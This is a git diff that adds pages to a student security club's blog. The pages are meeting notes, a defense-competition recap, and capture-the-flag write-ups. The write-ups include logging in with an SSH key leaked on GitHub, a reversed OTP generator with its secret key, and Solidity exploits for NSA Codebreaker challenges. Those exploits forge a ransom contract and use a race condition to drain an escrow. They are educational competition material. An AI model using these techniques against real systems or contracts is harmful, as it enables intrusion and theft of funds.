\ No newline at end of file diff --git a/static/blog/meeting-notes-9-28.jpg b/blog/meeting-notes-9-28.jpg similarity index 100% rename from static/blog/meeting-notes-9-28.jpg rename to blog/meeting-notes-9-28.jpg diff --git a/blog/meeting-notes-9-28/index.html b/blog/meeting-notes-9-28/index.html new file mode 100644 index 0000000..2d7bff1 --- /dev/null +++ b/blog/meeting-notes-9-28/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 9/28

Meeting Notes 9/28

Casey Colley

Tags

Cameron McCawley debriefing the club on activities for this year.

Howdy hackers! Thanks to everyone who showed up to the first meeting and we hope it was fun and informative!! Tonight we helped break in the new year for the club, and many people walked away from the meeting with new OSUSEC swag that they didn’t realize they were going to get!

Overall, we talked about the history and mission of OSUSEC, the various competitions we’re involved in, the events we hold, getting a CTF environment set up, some memes, and more!

The slides for the meeting are available here (ONID Login Required): https://docs.google.com/presentation/d/1CjmLpXLY4KlzrErLR5qiaQi9xtskQZtTPDaIA5pqDKk/edit?usp=sharing

Let’s make this a good year for OSUSEC!!

Other events coming up:

  • October 7th: BSidesPDX CTF and conference
  • November 4th-5th: DoE’s Cyberforce Competition
  • November 19th: CPTC Western Regionals
  • Ongoing: NSA Codebreaker Challenge
\ No newline at end of file diff --git a/static/blog/midnightsunctf-snake.jpg b/blog/midnightsunctf-snake.jpg similarity index 100% rename from static/blog/midnightsunctf-snake.jpg rename to blog/midnightsunctf-snake.jpg diff --git a/blog/midnightsunctf-snake/index.html b/blog/midnightsunctf-snake/index.html new file mode 100644 index 0000000..f4def49 --- /dev/null +++ b/blog/midnightsunctf-snake/index.html @@ -0,0 +1,7 @@ + +Codestin Search App

MidnightsunCTF Snake++

MidnightsunCTF Snake++

Lyell Read

Tags

MidnightsunCTF logo

Prompt

141 points, 38 solves

Snake Oil Co. has invented a special programming language to play their new and improved version of Snake. Beat the game to get the flag. settings Service: nc snakeplusplus-01.play.midnightsunctf.se 55555

Solution

When I first connected to the remote server, I was presented with a menu, detailing 3 options: Play in player mode, play in computer mode, or exit. The rules detail that a score of 42 will grant you a flag, so I first tried in player mode (where I direct the snake).

  • A is a good apple: it grows the snake 1 in length
  • B is a bad apple, it shrinks the snake in length. Best shoot these

The snake is controlled with:

  • L – will advance the snake one place then turn the direction 90 degrees left.
  • R – will advance the snake one place then turn the direction 90 degrees right.
  • ' ' (space) will “shoot” in the direction the snake is pointed, until it hits either A (which it will delete), B, which it will delete, or your snake, or the wall. Note: you don’t die if you shoot yourself. After shooting, the snake moves forward one square
  • '' (enter), which will advance the snake 1 in the direction it points.

When I played in player mode, I noticed no warning that no flag would be given for a win in player mode, so I figured if I could endure the tedious game (the move before turn, paired with me being bad at rights and lefts made this angering at best), I would get flag… easy, right? Two hours later, I finally reached a score of 42, and the game did not give me a flag >:(.

Now to computerize it. The language description for Snake++ is presented in lang-desc.txt.

Our game plan now becomes the writing of a function in Snake++ that can choose the next move based on board state. We implemented it in parts:

  • driver.py – supplies snake.ai to server, and runs in while loop, detecting flag if won.
  • snake.ai – a misnomer, as this is really quite a dumb function (and not at all optimized, which we were too tired to see at the time). This is the Snake++ program/function that determines the move to make. This function encompasses:
    • A hamiltonian cycle through the map, stored to RAM. hampath.txt shows this – start in left bottom corner facing right, and the move in your cell is what to submit to stay on hampath.
    • Logic to determine what to do based on cycle, apple type…

snake.ai loads the hamiltonian path/cycle into RAM if it is not there already (we could optimize this by not writing all the F‘s). Then:

  • If we are on a turn in the hampath, we must turn
  • If there is a B near, return shoot (’ ‘)
  • Else, move forward.

Note: snake.ai requires the starting (random) position to be the same direction of the hampath at that spot, so probability decrees that it works 1/4 tries.

I know, we are all CS majors, and while you might expect a better solution from us, we are also masters of minimal effort.

So, this scrip barely works… We ran it in a loop, one run at a time (as to keep the server as fast as possible), and consistently got scores of 30-39 (there’s a 90-sec timeout for computer mode). Then, on a lucky run, we got a score of 42.

midnight{Forbidden_fruit_is_tasty}
+

~ Lyell Read, Phillip Mestas, Athos

\ No newline at end of file diff --git a/static/blog/nahamconctf-fake-file.jpg b/blog/nahamconctf-fake-file.jpg similarity index 100% rename from static/blog/nahamconctf-fake-file.jpg rename to blog/nahamconctf-fake-file.jpg diff --git a/blog/nahamconctf-fake-file/index.html b/blog/nahamconctf-fake-file/index.html new file mode 100644 index 0000000..2234f28 --- /dev/null +++ b/blog/nahamconctf-fake-file/index.html @@ -0,0 +1,25 @@ + +Codestin Search App

NahamConCTF - Fake File

NahamConCTF - Fake File

Lyell Read

Tags

NahamConCTF banner

100 points

Prompt

Wait… where is the flag?

Connect here: nc jh2i.com 50026

Solution

Let’s nc to that server and see what’s up:

$ nc jh2i.com 50026
+
+bash: cannot set terminal process group (1): Inappropriate ioctl for device
+bash: no job control in this shell
+user@host:/home/user$ ls -lah
+ls -lah
+total 12K
+dr-xr-xr-x 1 nobody nogroup 4.0K Jun 12 17:10 .
+drwxr-xr-x 1 user   user    4.0K Jun  4 18:54 ..
+-rw-r--r-- 1 user   user      52 Jun 12 17:10 .. 
+

Right off the bat, we can see that in the directory /home/user, there is a file named ... That will be hard to cat, or do much else to, as the shell will assume we are referencing the directory ...

Now it comes down to how we can tell bash that we mean that file. The first thing that came to mind is to reference the file by it’s inode number, something that was top of mind after PlaidCTF’s “Filesystem Based Strcmp go Brr” challenge.

To go about finding the inode number, we can tack on the i flag to ls, as so:

user@host:/home/user$ ls -lahi
+ls -lahi
+total 12K
+8257688 dr-xr-xr-x 1 nobody nogroup 4.0K Jun 12 17:10 .
+8257687 drwxr-xr-x 1 user   user    4.0K Jun  4 18:54 ..
+8257689 -rw-r--r-- 1 user   user      52 Jun 12 17:10 .. 
+

Knowing that, we can proceed to print it as follows:

user@host:/home/user$ find . -inum 8257689 -exec cat {} \;
+find . -inum 8257689 -exec cat {} \;
+flag{we_should_have_been_worried_about_u2k_not_y2k}
+

And that’s all there is to it.

~ Lyell

\ No newline at end of file diff --git a/static/blog/nahamconctf-finsta-namechk.jpg b/blog/nahamconctf-finsta-namechk.jpg similarity index 100% rename from static/blog/nahamconctf-finsta-namechk.jpg rename to blog/nahamconctf-finsta-namechk.jpg diff --git a/static/blog/nahamconctf-finsta.jpg b/blog/nahamconctf-finsta.jpg similarity index 100% rename from static/blog/nahamconctf-finsta.jpg rename to blog/nahamconctf-finsta.jpg diff --git a/blog/nahamconctf-finsta/index.html b/blog/nahamconctf-finsta/index.html new file mode 100644 index 0000000..c6dca98 --- /dev/null +++ b/blog/nahamconctf-finsta/index.html @@ -0,0 +1,7 @@ + +Codestin Search App

NahamConCTF - Finsta

NahamConCTF - Finsta

Lyell Read

Tags

NahamConCTF banner

50 points

Prompt

This time we have a username. Can you track down NahamConTron?

Solution

I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework > Username > Username Search Engines > Namechk, similarly to in AUCTF.

namechk tells me that there are claimed usernames for the name NahamConTron for many sites, including Instagram.

Screenshot of website namechk for username NahamConTron

Checking out the Instagram account, we get the flag.

flag{i_feel_like_that_was_too_easy}
+

~ Lyell

\ No newline at end of file diff --git a/static/blog/nahamconctf-microosoft-docx.jpg b/blog/nahamconctf-microosoft-docx.jpg similarity index 100% rename from static/blog/nahamconctf-microosoft-docx.jpg rename to blog/nahamconctf-microosoft-docx.jpg diff --git a/static/blog/nahamconctf-microosoft-oxygen.png b/blog/nahamconctf-microosoft-oxygen.png similarity index 100% rename from static/blog/nahamconctf-microosoft-oxygen.png rename to blog/nahamconctf-microosoft-oxygen.png diff --git a/static/blog/nahamconctf-microosoft.jpg b/blog/nahamconctf-microosoft.jpg similarity index 100% rename from static/blog/nahamconctf-microosoft.jpg rename to blog/nahamconctf-microosoft.jpg diff --git a/blog/nahamconctf-microosoft/index.html b/blog/nahamconctf-microosoft/index.html new file mode 100644 index 0000000..c1cf172 --- /dev/null +++ b/blog/nahamconctf-microosoft/index.html @@ -0,0 +1,9 @@ + +Codestin Search App

NahamConcTF - Microosoft

NahamConcTF - Microosoft

Lyell Read

Tags

NahamConCTF

100 points

Prompt

We have to use Microsoft Word at the office!? Oof…

Download the file below.

File

Solution

Opening the file does not do much, but it would not be that easy.

Screenshot of open Word document spelling &ldquo;oof&rdquo;

Using file we can find out that this is an OOXML document:

$ file microsooft.docx 
+microsooft.docx: Microsoft OOXML
+

Based on this, and some quick reading, we can see that this format can contain files. To view these files, I first tried this chrome extension, before settling on getting a trial licensed version of OxygenXML. Opening it in here, and viewing the file src/oof.txt gives us the flag:

Screenshot of Word document dissected into ZIPped files, including oof.txt

flag{oof_is_right_why_gfxdata_though}
+

~ Lyell

\ No newline at end of file diff --git a/static/blog/nahamconctf-time-keeper-diff.png b/blog/nahamconctf-time-keeper-diff.png similarity index 100% rename from static/blog/nahamconctf-time-keeper-diff.png rename to blog/nahamconctf-time-keeper-diff.png diff --git a/static/blog/nahamconctf-time-keeper.jpg b/blog/nahamconctf-time-keeper.jpg similarity index 100% rename from static/blog/nahamconctf-time-keeper.jpg rename to blog/nahamconctf-time-keeper.jpg diff --git a/blog/nahamconctf-time-keeper/index.html b/blog/nahamconctf-time-keeper/index.html new file mode 100644 index 0000000..98e339f --- /dev/null +++ b/blog/nahamconctf-time-keeper/index.html @@ -0,0 +1,7 @@ + +Codestin Search App

NahamConCTF - Time Keeper

NahamConCTF - Time Keeper

Lyell Read

Tags

NahamConCTF banner

50 points

Prompt

There is some interesting stuff on this website. Or at least, I thought there was…

Connect here: https://apporima.com/

Note, this flag is not in the usual format.

Solution

After scoping out that site, the title and description heavily hint towards use of the Wayback Machine. Over there we head, then.

First, I noted that there were only two captures, so I figured it would be worth it to compare them. In doing so, I came upon this:

Screenshot of webpage telling the reader that the flag is at ./flag.txt

It clearly indicates that we need to browse to apporima.com/flag.txt but in current times, that page does not exist. What else to do but browse it in the Wayback Machine? It gives us this page.

JCTF{the_wayback_machine}
+

~ Lyell

\ No newline at end of file diff --git a/static/blog/nahamconctf-tron-namechk.png b/blog/nahamconctf-tron-namechk.png similarity index 100% rename from static/blog/nahamconctf-tron-namechk.png rename to blog/nahamconctf-tron-namechk.png diff --git a/static/blog/nahamconctf-tron.jpg b/blog/nahamconctf-tron.jpg similarity index 100% rename from static/blog/nahamconctf-tron.jpg rename to blog/nahamconctf-tron.jpg diff --git a/blog/nahamconctf-tron/index.html b/blog/nahamconctf-tron/index.html new file mode 100644 index 0000000..e8f00fe --- /dev/null +++ b/blog/nahamconctf-tron/index.html @@ -0,0 +1,18 @@ + +Codestin Search App

NahamConCTF - Tron

NahamConCTF - Tron

Lyell Read

Tags

NahamConCTF banner

75 points

Prompt

NahamConTron is up to more shenanigans. Find his server.

Solution

I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework > Username > Username Search Engines > Namechk, similarly to in AUCTF.

namechk tells me that there are claimed usernames for the name NahamConTron for many sites:

Screenshot of namechk for user NahamConTron

Now that we have exhausted Instagram, I opened up all the other sites with claimed usernames for NahamConTron and systematically eliminated them. I ended up at the GitHub account owned by NahamConTron, and it included a dotfiles repo. This in turn contains a bash history file that gives us the command that was run to access the server:

ssh -i config/id_rsa nahamcontron@jh2i.com -p 50033
+

Now we just need the key, which conveniently and innappropriately is in the config repo. Running that command first gives us this error:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+Permissions 0664 for 'config/id_rsa' are too open.
+It is required that your private key files are NOT accessible by others.
+This private key will be ignored.
+Load key "config/id_rsa": bad permissions
+nahamcontron@jh2i.com's password: 
+

This is fixed with a quick chmod 600 config/id_rsa and then:

ssh -i config/id_rsa nahamcontron@jh2i.com -p 50033
+nahamcontron@94f05a972db8:~$ cat flag.txt
+flag{nahamcontron_is_on_the_grid}
+

~ Lyell

\ No newline at end of file diff --git a/static/blog/nccdc-2023-polaroid.jpg b/blog/nccdc-2023-polaroid.jpg similarity index 100% rename from static/blog/nccdc-2023-polaroid.jpg rename to blog/nccdc-2023-polaroid.jpg diff --git a/static/blog/nccdc-2023.jpg b/blog/nccdc-2023.jpg similarity index 100% rename from static/blog/nccdc-2023.jpg rename to blog/nccdc-2023.jpg diff --git a/blog/nccdc-2023/index.html b/blog/nccdc-2023/index.html new file mode 100644 index 0000000..ace2374 --- /dev/null +++ b/blog/nccdc-2023/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

NCCDC 2023

NCCDC 2023

Julie Weber

Tags

OSUSEC’s CDC team in the competition room on day 2

The last weekend of April, OSUSEC’s Cyber Defense team competed in NCCDC, the National Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors. Students are tested not only on their cybersecurity skills, but also on their time management and interpersonal skills. We did not place in this final event, but since only ten teams across the nation were invited to compete, we were excited to represent OSU two years in a row!

Saturday evening, after the competition ended, the team attended a networking event, with recruiters representing all of the event sponsors. Many team members were selected for on-site interviews, which was very exciting!

The Sunday after the last day of competition was a panoply competition. This was a “king-of-the-hill” competition and was offered to the team as an extra, fun event.

The team consisted of Julie Weber, Mike Carris, Matt Jansen, Evan Mrazik, Otso Barron, Ayden Murphy-Kirsch, Casey Colley, and Brandon Ellis, and was chaperoned by Emily Longman.

Congratulations to Stanford University, who finished first place!

Polaroid picture of OSUSEC’s CDC team posing by the school flag

\ No newline at end of file diff --git a/static/blog/nsa-codebreaker-2018-task-6-asm.png b/blog/nsa-codebreaker-2018-task-6-asm.png similarity index 100% rename from static/blog/nsa-codebreaker-2018-task-6-asm.png rename to blog/nsa-codebreaker-2018-task-6-asm.png diff --git a/static/blog/nsa-codebreaker-2018-task-6-escrow-contract.png b/blog/nsa-codebreaker-2018-task-6-escrow-contract.png similarity index 100% rename from static/blog/nsa-codebreaker-2018-task-6-escrow-contract.png rename to blog/nsa-codebreaker-2018-task-6-escrow-contract.png diff --git a/static/blog/nsa-codebreaker-2018-task-6-finished.png b/blog/nsa-codebreaker-2018-task-6-finished.png similarity index 100% rename from static/blog/nsa-codebreaker-2018-task-6-finished.png rename to blog/nsa-codebreaker-2018-task-6-finished.png diff --git a/static/blog/nsa-codebreaker-2018-task-6-noransom.png b/blog/nsa-codebreaker-2018-task-6-noransom.png similarity index 100% rename from static/blog/nsa-codebreaker-2018-task-6-noransom.png rename to blog/nsa-codebreaker-2018-task-6-noransom.png diff --git a/static/blog/nsa-codebreaker-2018-task-6-noransom2.png b/blog/nsa-codebreaker-2018-task-6-noransom2.png similarity index 100% rename from static/blog/nsa-codebreaker-2018-task-6-noransom2.png rename to blog/nsa-codebreaker-2018-task-6-noransom2.png diff --git a/static/blog/nsa-codebreaker-2018-task-6-payransom.png b/blog/nsa-codebreaker-2018-task-6-payransom.png similarity index 100% rename from static/blog/nsa-codebreaker-2018-task-6-payransom.png rename to blog/nsa-codebreaker-2018-task-6-payransom.png diff --git a/static/blog/nsa-codebreaker-2018-task-6-ransom-register.png b/blog/nsa-codebreaker-2018-task-6-ransom-register.png similarity index 100% rename from static/blog/nsa-codebreaker-2018-task-6-ransom-register.png rename to blog/nsa-codebreaker-2018-task-6-ransom-register.png diff --git a/blog/nsa-codebreaker-2018-task-6/index.html b/blog/nsa-codebreaker-2018-task-6/index.html new file mode 100644 index 0000000..2b57200 --- /dev/null +++ b/blog/nsa-codebreaker-2018-task-6/index.html @@ -0,0 +1,79 @@ + +Codestin Search App

NSA Codebreaker 2018 - Task 6

NSA Codebreaker 2018 - Task 6

Andrew Quach

Tags

Loophole – (Smart-Contract Development; Vulnerability Analysis; Exploit Development)

Task 6 has us exploit a loophole in the smart-contracts to recover the decryption key without spending any ether (not including transaction costs). We are given the source for three smart contracts: the Escrow contract, the Ransom contract, and the Registry contract.

Decryption Overview

Let’s first look at the intended method of recovering the decryption key.

Diagram of the Escrow Contract

  1. From the Escrow contract, the victim calls payRansom() to pay the ransom amount. The victim is marked as having paid.
  2. The payRansom() function calls requestKey() in the Ransom contract.
  3. The requestKey() function in the Ransom contract calls decryptKey() in the Escrow contract.
  4. The decryptKey() function in the Escrow contract emits a DecryptEvent.
  5. An off-chain oracle processes this DecryptEvent, calling decryptCallback(). If the processing is successful, the Ransom contract is marked as fulfilled. Otherwise, the victim gets a refund.
  6. The victim can now call getDecryptionKey() to get their decryption key.

Scanning for Vulnerabilities

Let’s look at the entry point for this decryption process: payRansom().

function payRansom(uint id, string encFile) external restrictSenderToVictim(id) payable {
+    Victim storage vicInfo = victimMap[id];
+    Ransom ransom = Ransom(vicInfo.ransomAddr);
+
+    if (msg.value >= vicInfo.ransomAmount && !ransom.isFulFilled()) {
+            
+        escrowMap[id] += msg.value;
+        encFileMap[id] = encFile;
+        vicToPayerMap[id] = msg.sender;
+        ransom.requestKey(); 
+    } else {
+        emit BadPaymentEvent(id);
+    }
+}
+

If we want to start this decryption process without paying, we must bypass the msg.value >= vicInfo.ransomAmount condition. Since spoofing msg.value isn’t an option, we can instead try to find a way to modify vicInfo.ransomAmount, setting it to zero.

function registerRansom(uint ransomAmount,
+                        uint victimId, 
+                        address victimAddr) external onlyAuthenticated(msg.sender)  { 
+    victimMap[victimId] = Victim(victimId, ransomAmount, victimAddr, msg.sender);
+}
+

We find that vicInfo.ransomAmount is set when the ransom contract is registered. Unfortunately, we do not the permissions to register our own ransom contract since we are not authenticated. So, the natural question that emerges: how is a contract authenticated?

Registering Ransom Contracts

Here is quick overview of the deployment process for ransom contracts.

Diagram of Registration of Escrow Contract

  1. In the constructor of the Ransom contract, the registerVictim() function of the Registry contract is called with two arguments: the victim ID and the authentication token.
  2. The registerVictim() function emits an AuthEvent with four arguments: the victim ID, the Ransom contract address, the authentication token, and the person who deployed the Ransom contract.
  3. An off-chain oracle processes this AuthEvent, calling authCallback() in the Registry contract.
  4. The authCallback() function in the Registry contract calls the authCallback() functions in the Escrow and Ransom contracts.
  5. The Escrow contract’s authCallback() function authenticates the Ransom contract’s address if the result is successful.
  6. The Ransom contract’s authCallback() function calls the registerRansom() function in the Escrow contract if the result is successful.

Deploying a Custom Ransom Contract (Attempt 1)

The key to authenticating a ransom contract is emitting an AuthEvent which the off-chain oracle deems successful. But what constitutes as successful?

function registerVictim(uint id, uint authToken) external returns (bool) {
+    if (MAX_PENDING_AUTH_REQUESTS > 0 && pendingAuthCount == MAX_PENDING_AUTH_REQUESTS) {
+        return false;
+    }
+    pendingAuthCount++;
+    authMap[id] = VictimInfo(id, msg.sender, 0);
+
+    emit AuthEvent(id, msg.sender, authToken, tx.origin);
+
+    return true;
+}
+

We can quickly rule out the first two parameters: the victim ID and the Ransom contract address. These two parameters likely have no impact on the return of AuthEvent. The victim ID is just going to be set to our own ID and the new Ransom contract address can’t really be controlled.

But of the two remaining degrees of freedom, the use of tx.origin particularly eye-catching. Using tx.origin as a means for checking authorization of ownership is a well known vulnerability. Since the oracle initiates a transaction every time it performs a callback, we can trick the oracle into emitting the AuthEvent for us.

function authCallback(address _escrowAddr, bool authResult) external restrictSenderToRegistry {
+    authenticated = authResult;
+    if (authResult == true){
+        escrowAddr = _escrowAddr;
+
+        // 0 ether ransom default
+        Escrow(escrowAddr).registerRansom(0 ether, victimId, victimAddr);
+    } else {
+        Registry(registryAddr).registerVictim(victimId, authToken);
+    }
+}
+

Although this is definitely sloppy (potential infinite loop until the gas runs out), re-registering the victim in the callback function allows us to use the oracle’s address as the transaction origin.

Unfortunately for us, on further investigation, the tx.origin parameter does not seem to play a part in the authentication process. In fact, if we scan the blockchain for events emitted, we can see the origin address used in the original Ransom contract’s authentication event is something we cannot replicate (without phishing).

Original AuthEvent:

0x9f7727801209b9f92e263cca5d8c3bdf26eedcbf8abb375bcbd101d57acb354d0000000000000000000000002b438d42631256b6e16d9709f176b9f3b1fc3ece0000000000000000000000000000000000000000000000000000000000076c7f00000000000000000000000063d85378eb4d57c4ae14f6a39b05e495de08b1a8

AuthEvent w/ tx.origin as our own address:

0x9f7727801209b9f92e263cca5d8c3bdf26eedcbf8abb375bcbd101d57acb354d0000000000000000000000004a722e89bea34984647fefec01f1eccecd9d5afc000000000000000000000000000000000000000000000000000000000007c99b0000000000000000000000007d8687379ea4882b3b279bbc5c97b47ae73cb0e8

AuthEvent w/ tx.origin as the oracle’s address:

0x9f7727801209b9f92e263cca5d8c3bdf26eedcbf8abb375bcbd101d57acb354d000000000000000000000000237d008839b32a959e845d5ba94f10a6d142a1970000000000000000000000000000000000000000000000000000000000076c7f000000000000000000000000191b13d28df6b574275405e485dfc0f6794ad831

(Notice the (id, msg.sender, authToken, tx.origin) tuple in the authentication event data.)

Deploying a Custom Ransom Contract (Attempt 2)

So, the authentication event depends solely on the authentication code. But how is this authentication code generated?

Luckily for us, the one time password (OTP) generation function was leaked in a previously given shared object file (libclient_crypt.so).

Screenshot of disassembly of OTP generation function

Reversing this function nets us the following code.

#include <openssl/evp.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+int main() {
+    const char key[21] = {'\xed', '{', '\xe8', 'e', '\x89', 'D', 'K',
+                                   '\xcd', '\xd0', '\xe1', '\x1b', 'n', '\xd3', '\x02',
+                                   ',', 'Z', 'W', '\xc3', 'p', '\xd3', '\x00'};
+    long now = time(NULL);
+
+    // Time seed will update every 30 seconds
+    unsigned long long seed = (unsigned long long) __builtin_bswap32((now / 30)) << 32;
+
+    const EVP_MD* sha1 = EVP_sha1();
+    EVP_MD_CTX* mdctx = EVP_MD_CTX_create();
+    EVP_PKEY* pkey = EVP_PKEY_new_mac_key(EVP_PKEY_HMAC, NULL, key, 20);
+    EVP_DigestSignInit(mdctx, NULL, sha1, NULL, pkey);
+    EVP_DigestUpdate(mdctx, &seed, 8);
+
+    size_t siglen = 0;
+    unsigned char sig[20];
+    int res = EVP_DigestSignFinal(mdctx, sig, &siglen);
+
+    int offset = sig[siglen-1] & 0xf;
+    unsigned int otp = ((
+                (sig[offset+1] << 16) + sig[offset+3] + (sig[offset+0] << 24) + (sig[offset+2] << 8)
+                ) & 0x7FFFFFFF
+                ) % 0xF4240;
+
+    printf("OTP: %d\n", otp);
+}
+

Note that the key array is the secret key (found in task 2) base-32 decoded.

We can now deploy any Ransom contract we want. The arguments for the Ransom contract constructor (e.g. _encKey, _registryAddr) can be found using the same method shown in task 4.

Screenshot of deploying a fake ransom contract

Screenshot of the fake ransom contract, completed

Finishing Off the Exploit

Now, we can make a simple modification in our new Ransom contract—changing the Ransom amount from 100 ether to 0 ether.

uint constant RANSOMAMOUNT = 0 ether; //!< The ransom amount the victim must pay
+

When we call payRansom() with no ether sent and the correct arguments, then call getDecryptionKey(), we receive the decryption key—no payment necessary!

Screenshot of making a payment on the fake ransom contract and extraction of flag

By exploiting a weakness in the off-chain contract validation system, we were able to bypass the ransom.

Submission Details

Decryption Key: 0xc2f5676c865a230f72e9bc36bdf90e4dd9a2de697f21267213147ebefbeef7b5

Transaction Hash: 0x9c23c90b7a6d143b23efe96555e846b289a937b69dcfe75cdb3f9a9529fd7bc9

Screenshot of Task 6 on NSA Codebreaker Challenge website complete

\ No newline at end of file diff --git a/static/blog/nsa-codebreaker-2018-task-7-escrow-contract.png b/blog/nsa-codebreaker-2018-task-7-escrow-contract.png similarity index 100% rename from static/blog/nsa-codebreaker-2018-task-7-escrow-contract.png rename to blog/nsa-codebreaker-2018-task-7-escrow-contract.png diff --git a/static/blog/nsa-codebreaker-2018-task-7-finished.png b/blog/nsa-codebreaker-2018-task-7-finished.png similarity index 100% rename from static/blog/nsa-codebreaker-2018-task-7-finished.png rename to blog/nsa-codebreaker-2018-task-7-finished.png diff --git a/blog/nsa-codebreaker-2018-task-7/index.html b/blog/nsa-codebreaker-2018-task-7/index.html new file mode 100644 index 0000000..700f8a9 --- /dev/null +++ b/blog/nsa-codebreaker-2018-task-7/index.html @@ -0,0 +1,63 @@ + +Codestin Search App

NSA Codebreaker 2018 Task 7

NSA Codebreaker 2018 Task 7

Andrew Quach

Tags

Refunds – (Smart-Contract Development; Vulnerability Analysis; Exploit Development)

Task 7 has us refund the victims who have already paid the ransom. In other words, we need to recover all the funds in the Escrow contract, then transfer the funds to the victims. Recall that from task 6, we found that we could deploy and authenticate arbitrary ransom contracts.

Scanning for Vulnerabilities

A natural place we can start looking for a vulnerability is the requestRefund() function.

function requestRefund(uint id, uint amount) external restrictSenderToVictim(id) returns (bool) {
+    address payer = vicToPayerMap[id];
+    if (payer > 0 && escrowMap[id] >= amount && amount > 0) {
+        escrowMap[id] -= amount;
+        payer.transfer(amount);
+        return true;
+    }
+    return false;
+}
+

The victims can retrieve unused funds paid into the Escrow contract using requestRefund(). However, this function seems difficult to exploit as escrowMap[id] only gets increased when ether is paid into the contract. Getting an arbitrary amount past the escrowMap[id] >= amount guard would prove to be rough. So, perhaps there is another transfer() call that is easier to exploit.

function decryptCallback(uint id, bytes32 decKey, bool authResult) external restrictSenderToOracle {
+    require(bytes(encFileMap[id]).length != 0, "missing encrypted file");
+    delete encFileMap[id]; // no longer needed
+
+    decKeyMap[id] = decKey;
+    emit DecryptCallbackEvent(id, authResult);
+
+    Victim storage vicInfo = victimMap[id];
+    escrowMap[id] -= vicInfo.ransomAmount;
+
+    if (authResult) {
+        ownerBalance += vicInfo.ransomAmount;
+        Ransom(vicInfo.ransomAddr).fulfillContract();
+    } else {
+        vicToPayerMap[id].transfer(vicInfo.ransomAmount); 
+    } 
+

A few lines down, we see that the decryptCallback() function also transfers funds to the victim. This time, there is no guard. It just refunds the Ransom contract’s ransom amount to the victim upon decryption failure. Fortunately for us, we can control anything in the Ransom contract. If we make a fake Ransom contract with the ransom amount equal to all the funds in the Escrow contract (300 ether + 10 wei), we completely drain the Escrow contract.

Diagram of the Escrow Contract

Recall from task 6, we learned how the decryption process functions. We need the oracle to call decryptCallback() with our fake Ransom contract in place. But to do so, we need to execute payRansom(). And to execute payRansom() without paying, we need the ransom amount to be zero. How can we have the ransom amount be both 0 ether and 300 ether?

Race Condition

Ideally, the ransom amount would be 0 ether at payRansom() and 300 ether at decryptCallback(). To set up this situation, we can abuse the fact that the oracle is off-chain and slow. We can

  1. Set up a ransom contract with no ransom.
  2. Call payRansom().
  3. Call decryptKey().
  4. Reinitialize the ransom contract to have a 300 ether ransom.
  5. Let the oracle run decryptCallback().
  6. Profit!

Clarifying Questions

There are a few questions about this exploit that arise.

Q: First, why do we need to call payRansom() if we can just call decryptKey() directly? +A: The DecryptEvent requires encFileMap[id] which is only set in payRansom(). This may not be necessary since we want the DecryptEvent to fail anyway, but I didn’t risk it. Either way, it doesn’t add much more work.

Q: Second, why do we need to race the DecryptEvent? Can’t we swap steps 3 and 4? +A: The decryptKey() call has the hasPaidRansom(id) modifier, defined by (escrowMap[id] >= victimMap[id].ransomAmount). Since we did not pay anything, we need the ransom amount to still be zero at this point.

Draining the Escrow Contract

We can set up a withdraw function following the described steps.

function withdrawl() external {
+    // Set encrypted file
+    Escrow(escrowAddr).payRansom(victimId, "dummy value");
+    // Call decrypt event
+    Escrow(escrowAddr).decryptKey(victimId, "dummy key");
+    // Race decrypt event
+    modifyRansom(300000000000000000010 wei);
+}
+

The call to modifyRansom() simply re-registers the ransom with the same victim ID and address but a different ransom amount. We register the ransom with victimAddr = address(this) to bypass the restrictSenderToVictim(id) modifier in payRansom().

function modifyRansom(uint newRansomAmount) internal {
+    Escrow(escrowAddr).registerRansom(newRansomAmount, victimId, victimAddr);
+}
+

We have requestKey() do nothing, keeping it there only so payRansom() does not error.

function requestKey() external view onlyAuthenticated {
+}
+

Lastly, we set up a payable fallback function to receive the payments.

function () payable public {
+}
+

And with that, upon authenticating our RefundRansom contract and calling our newly created withdrawl() function, we recover all the funds in the Escrow contract.

Refunding the Victims

To refund we the victims, we just need to add a way to transfer the funds from our RefundRansom contract.

function sendPayment(address addr, uint amount) external {
+    addr.transfer(amount);
+}
+

Although this could do with better permission modifiers, the function does its job.

After manually refunding the three victims who paid the ransom, we can check to see if everything worked as expected.

curl -X POST --data '{"jsonrpc":"2.0","method":"eth_getBalance","params":["0xe160365793baef0d971765be8180275f9fea2b3d", "latest"],"id":1}' -H "Content-Type: application/json" $URL
+
+Beforehand: 0x15acbdd634f769000 = 24989310376000000000
+Afterwards: 0x6c6933b90b2869000 = 124989310376000000000
+
+curl -X POST --data '{"jsonrpc":"2.0","method":"eth_getBalance","params":["0x139f8f562dadc241e42744c99ef803381f3e1d08", "latest"],"id":1}' -H "Content-Type: application/json" $URL
+Beforehand: 0x15acbdd634f769000 = 24989310376000000000
+Afterwards: 0x6c6933b90b2869000 = 124989310376000000000
+
+curl -X POST --data '{"jsonrpc":"2.0","method":"eth_getBalance","params":["0x6c8e1acf3e73f2a0a03dbfc8f1a14269677b7ac5", "latest"],"id":1}' -H "Content-Type: application/json" $URL
+Beforehand: 0x15acbdd634f769000 = 24989310376000000000
+Afterwards: 0x6c6933b90b2869000 = 124989310376000000000
+

All the victims have indeed received the ether that is rightfully theirs!

Here is the full RefundRansom contract.

Submission Details

Escrow Address: 0x147c5B6fBdE084D96c4b3BfAb72f208E78bae6b8

Screenshot of Task 7 on NSA Codebreaker Challenge website complete

\ No newline at end of file diff --git a/static/blog/nsa-codebreaker-challenge-2018-results.jpg b/blog/nsa-codebreaker-challenge-2018-results.jpg similarity index 100% rename from static/blog/nsa-codebreaker-challenge-2018-results.jpg rename to blog/nsa-codebreaker-challenge-2018-results.jpg diff --git a/blog/nsa-codebreaker-challenge-2018-results/index.html b/blog/nsa-codebreaker-challenge-2018-results/index.html new file mode 100644 index 0000000..cf4830f --- /dev/null +++ b/blog/nsa-codebreaker-challenge-2018-results/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

